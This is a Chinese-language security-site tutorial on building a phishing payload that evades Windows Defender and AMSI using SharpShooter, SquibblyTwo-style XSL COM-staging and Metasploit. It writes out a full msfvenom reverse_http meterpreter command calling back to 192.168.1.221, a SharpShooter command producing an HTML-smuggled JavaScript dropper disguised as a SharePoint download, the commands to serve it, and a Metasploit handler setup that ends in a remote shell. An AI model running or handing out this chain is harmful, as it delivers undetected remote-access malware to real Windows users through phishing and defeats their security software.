渗透测试技巧:如何使用Sharpshooter+SquibblyTwo绕过AMSI防御 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

渗透测试技巧:如何使用Sharpshooter+SquibblyTwo绕过AMSI防御

lucywang 技术 2018-09-12 11:45:01
231298
收藏

导语:我在本文会介绍两部分内容:1.创建一个没有被Windows Defender检测到的有效载荷。2.所有这些都是在没有Cobalt Strike的情况下进行的,而是使用Sharpshooter + Metasploit/Msfvenom。

timg.jpg

我在本文会介绍两部分内容:

1.创建一个没有被Windows Defender检测到的有效载荷,即使具有实时保护,高级威胁防护和AMSI(Microsoft 的反恶意软件扫描接口),也照样可以。

2.所有这些都是在没有Cobalt Strike的情况下进行的,而是使用Sharpshooter + Metasploit/Msfvenom。

注意事项

1.你只能使用带Sharpshooter的python2,它将与python3一起运行,且破坏力巨大;

2.复制测试报告(Repo)和Sharpshooter的设置;

3.复制Repo或安装metasploit framework(使用rvm并使用bundler安装deps),Metasploit Framework是一个编写,测试和使用exploit代码的完善环境。这个环境为渗透测试,shellcode编写和漏洞研究提供了一个可靠的平台;

另外,在写本文时,我会假设你已经阅读了我以前写的metasploit+msfvenom得经验介绍、xsl的概念(如何手动完成)以及在Linux中使用CLI的方法。

生成shellcode

你需要msfvenom来完成这个任务,在其他如何使用Sharpshooter的例子中,你会经常看到有渗透者使用像csharp字节数组这样的操作。但在本文中,我将直接使用shellcode。幸运的是,msfvenom实际上会在一个命令中自动完成这个操作。

运行以下命令:

./msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.221 LPORT=443 EnableStageEncoding=True PrependMigrate=True -f raw -o shellcode.txt

1.png

如果你以前使用过msfvenom,那么你就知道这只是使用meterpreter reverse_http有效载荷为x64架构(64位)生成的有效载荷。 reverse_http有效载荷选项可帮助我们让渗透测试变得更隐蔽,并通过低复杂度的数据包检测防火墙。例如,某些防火墙允许 “http”流量的通过。

生成有效载荷

现在我已经生成了shellcode,并将shellcode.txt文件放在同一目录中。现在,如果你使用的是Arch Linux这样的发行版,那默认情况下“Python”将是Python3。而在Ubuntu + Kali上,默认情况下它将是Python2,你可以通过运行python --version轻松验证。

现在我就可以使用正确的python版本(对我来说,是python2),执行文件并运行以下代码。

python2 SharpShooter.py --stageless --dotnetver 2 --payload js --output foo --rawscfile raw3.txt --smuggle --template sharepoint --com xslremote --awlurl http://192.168.1.221:8000/foo.xsl

2.png

首先,这将创建一个无状态有效载荷(stageless payload),这意味着它将不会被暂存,并将它需要的所有内容加载进来。这可能有点误导人,因为它稍后会提取.xsl文件。

其次,它将指定使用的dotnet版本(在本文中,你需要确保目标安装了dotnet 2),如果没有,那么将加载失败。不过目前,大多数Windows目标至少都有dotnet版本2。

接下来就是指定要使用的有效载荷类型,在本文中,我指定了JS,但是,我也可以轻松地指定诸如vba之类的类型。

之后,我需要使用--smuggle函数。因为有一些防火墙和安全软件会阻止.js和.vba文件的下载,而这个--smuggle函数将文件包装在html文件中,对其进行编码和加密。在页面加载时,数据被解密和解码,最后保存为blob对象。此时,阻止恶意扩展的垃圾邮件过滤器将不再起作用。同时,我指定了一个模板,该模板会使页面看起来更合理。在本文中,我将SharePoint指定为模板,这意味着网络钓鱼HTML看起来就像是从Microsoft Sharepoint下载的。

现在关键的部分来说,就是进入Com-staging。 Com-staging是来自Mdsec的Dom Chell创造的一个用法,为了破坏它,一些Microsoft应用程序(如Outlook)具有允许你运行shell命令的函数,例如obj.CreateObject("Wscript.shell").run("fun commands")。这是由Sharpshooter使用的,在本文中,它利用WMI从XSL文件执行代码。

接下来,我需要指定我的--awlurl,这将是xsl文件所在的位置。在本文中,我已经在我的http:// myip:8000 / file.xsl中指定了,因为它在默认情况下被放在输出文件夹中,我将在那里运行一个python http服务器。

恶意文件的提供过程是这样的,cd进入./output目录,然后运行python3 -m http.server。这样在此目录中的端口8000上,会创建一个基本的python Web服务器。

现在,在另一个窗口中,启动Metasploit处理程序。

sudo -E ./msfconsole
use exploit/multi/handler
set LHOST 192.168.1.221
set LPORT 443
set PAYLOAD windows/x64/meterpreter/reverse_http
set ExitOnSession false
exploit –j

现在你应该启动一个reverse_http处理程序,此时,你应该只需确保端口8000和端口443打开即可。现在导航到http://yourip:8000/foo.html,此时你应该能够打开文件,并收到一个shell!

3.png

总结

Sharpshooter + SquibblyTwo与Com-staging的结合,目前是绕过AMSI的绝配。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务